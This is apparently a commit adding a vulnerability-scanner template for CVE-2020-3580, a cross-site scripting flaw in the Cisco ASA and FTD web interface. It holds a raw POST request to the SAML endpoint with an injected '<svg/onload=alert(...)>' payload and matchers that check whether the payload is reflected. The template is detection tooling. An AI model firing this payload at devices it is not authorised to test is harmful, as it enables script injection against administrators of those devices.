Create CVE-2020-3580.yaml

cves/2020/CVE-2020-3580.yaml

@@ -0,0 +1,33 @@
+id: CVE-2020-3580
+
+info:
+  name: Cisco ASA XSS
+  author: pikpikcu
+  severity: medium
+  reference: |
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-3580
+    - https://twitter.com/ptswarm/status/1408050644460650502
+  description: |
+    Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the Vulnerable Products section.
+  tags: xss,cve,cve2020,cisco
+
+requests:
+  - raw:
+      - |
+        POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: 44
+
+        SAMLResponse="><svg/onload=alert(document.domain)>
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><svg/onload=alert(document.domain)>'
+        part: body
+
+      - type: status
+        status:
+          - 200